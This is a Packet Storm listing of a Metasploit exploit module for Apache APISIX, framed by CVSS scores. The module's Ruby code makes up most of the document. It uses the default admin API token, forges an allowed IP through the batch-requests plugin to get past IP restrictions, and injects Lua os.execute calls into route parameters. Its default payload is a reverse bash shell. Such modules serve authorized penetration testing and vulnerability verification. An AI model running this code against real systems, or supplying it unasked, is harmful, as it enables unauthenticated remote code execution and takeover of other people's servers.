Lucene search

K
packetstormHeyder Andrade, YuanSheng Wang, metasploit.comPACKETSTORM:166228
HistoryMar 07, 2022 - 12:00 a.m.

Apache APISIX Remote Code Execution

2022-03-0700:00:00
Heyder Andrade, YuanSheng Wang, metasploit.com
packetstormsecurity.com
340

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'APISIX Admin API default access token RCE',  
'Description' => %q{  
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access  
all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x  
version. This module also leverages another vulnerability to bypass the IP restriction plugin.  
},  
'Author' => [  
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging  
'YuanSheng Wang <membphis[at]gmail.com>' # discovered  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2020-13945'],  
['CVE', '2022-24112'],  
['URL', 'https://github.com/apache/apisix/pull/2244'],  
['URL', 'https://seclists.org/oss-sec/2020/q4/187'],  
['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']  
],  
'DisclosureDate' => '2020-12-07',  
'Arch' => ARCH_CMD,  
'Platform' => %w[unix],  
'Targets' => [  
[  
'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),  
OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),  
OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])  
])  
end  
  
def check  
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")  
# batch request is the preferred method because it bypass the ip-restriction plugin  
res = nil  
if batch_request_enabled?  
  
pipeline = [  
{  
method: 'GET',  
path: "#{target_uri.path}/admin/routes"  
}  
]  
res = batch_request(batch_body(pipeline))  
vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200  
  
pipeline = [  
{  
method: 'GET',  
path: "#{target_uri.path}/admin/routes/index"  
}  
]  
res = batch_request(batch_body(pipeline))  
  
else  
vprint_error('The batch-requests plugin is not enabled')  
  
vprint_good('There is direct access to the routes using the provided token') if direct_access?  
  
res = apisix_request({  
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),  
'method' => 'GET'  
})  
  
end  
unless res && res.headers.key?('Server')  
return Exploit::CheckCode::Unknown('Unable to determine which web server is running')  
end  
  
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})  
  
server = Regexp.last_match(1) || nil  
version = Rex::Version.new(Regexp.last_match(2)) || nil  
  
if server && server.match(/APISIX/)  
vprint_status("Found an #{server} #{version} http server header")  
return Exploit::CheckCode::Appears if version > Rex::Version.new('2')  
end  
return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')  
end  
  
def exploit  
# batch request is the preferred method because it bypass the ip-restriction plugin  
if batch_request_enabled?  
@payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"  
filter_func_exec  
# trigger the payload  
apisix_request({  
'uri' => normalize_uri(@payload_uri),  
'method' => 'GET'  
})  
else  
add_route  
end  
handler  
end  
  
def cleanup  
return unless @payload_uri  
  
data = {  
'uri' => @payload_uri  
}  
pipeline = [  
{  
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),  
'method' => 'DELETE',  
'body' => JSON.dump(data)  
}  
]  
vprint_status("Deleting route #{@payload_uri}")  
# remove the route  
res = batch_request(batch_body(pipeline))  
vprint_error('Unable to delete the route') unless res.code == 200  
end  
  
def apisix_request(params = {})  
params.merge!({  
'ctype' => 'application/json',  
'headers' => {  
'X-API-KEY' => datastore['API_KEY'],  
'Accept' => '*/*',  
'Accept-Encoding' => 'gzip, deflate'  
}  
})  
  
send_request_cgi(params)  
end  
  
# Using batch request to bypass ip-restriction policies (CVE-2022-24112)  
def batch_request(data = nil)  
params = {  
'uri' => normalize_uri(target_uri.path, '/batch-requests'),  
'method' => 'POST'  
}  
params.merge!({ 'data' => data }) if data  
  
apisix_request(params)  
end  
  
def batch_body(pipeline = [])  
headers = {  
'X-Real-IP': datastore['ALLOWED_IP'].to_s,  
'X-API-KEY' => datastore['API_KEY'].to_s,  
'Content-Type' => 'application/json'  
}  
  
{  
'headers' => headers,  
'timeout' => 1500,  
'pipeline' => pipeline  
}.to_json  
end  
  
def base_data  
{  
'uri' => Rex::Text.rand_text_alpha_lower(6),  
'upstream' => {  
'type' => 'roundrobin',  
'nodes' => { Faker::Internet.domain_name.to_s => 1 }  
}  
}  
end  
  
def add_route  
# This method use the script parameter to execute the payload  
stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })  
# binding.pry  
data = base_data.merge({  
'script' => stub  
})  
uri = normalize_uri(target_uri.path, '/admin/routes')  
if batch_request_enabled?  
pipeline = [  
{  
'method' => 'POST',  
'path' => uri,  
'body' => data  
}  
]  
batch_request(batch_body(pipeline))  
else  
params = {  
'method' => 'POST',  
'uri' => uri,  
'data' => JSON.dump(data)  
}  
apisix_request(params)  
end  
end  
  
def filter_func_exec  
# This method use the filter_func parameter to execute the payload  
stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })  
  
data = base_data.merge({  
'uri' => @payload_uri,  
'name' => Rex::Text.rand_text_alpha_lower(6),  
'filter_func' => stub  
})  
if batch_request_enabled?  
pipeline = [  
{  
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),  
'method' => 'PUT',  
'body' => JSON.dump(data)  
}  
]  
# add the route  
res = batch_request(batch_body(pipeline))  
vprint_error('Unable to create route') unless res.code == 200  
else  
params = {  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),  
'data' => JSON.dump(data)  
}  
apisix_request(params)  
end  
end  
  
def direct_access?  
res = apisix_request({  
'uri' => normalize_uri(target_uri.path, '/admin/routes'),  
'method' => 'GET'  
})  
  
return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)  
  
true  
end  
  
def batch_request_enabled?  
res = apisix_request({  
'uri' => normalize_uri(target_uri.path, '/batch-requests'),  
'method' => 'POST'  
})  
  
return false if res.code == 404  
  
true  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P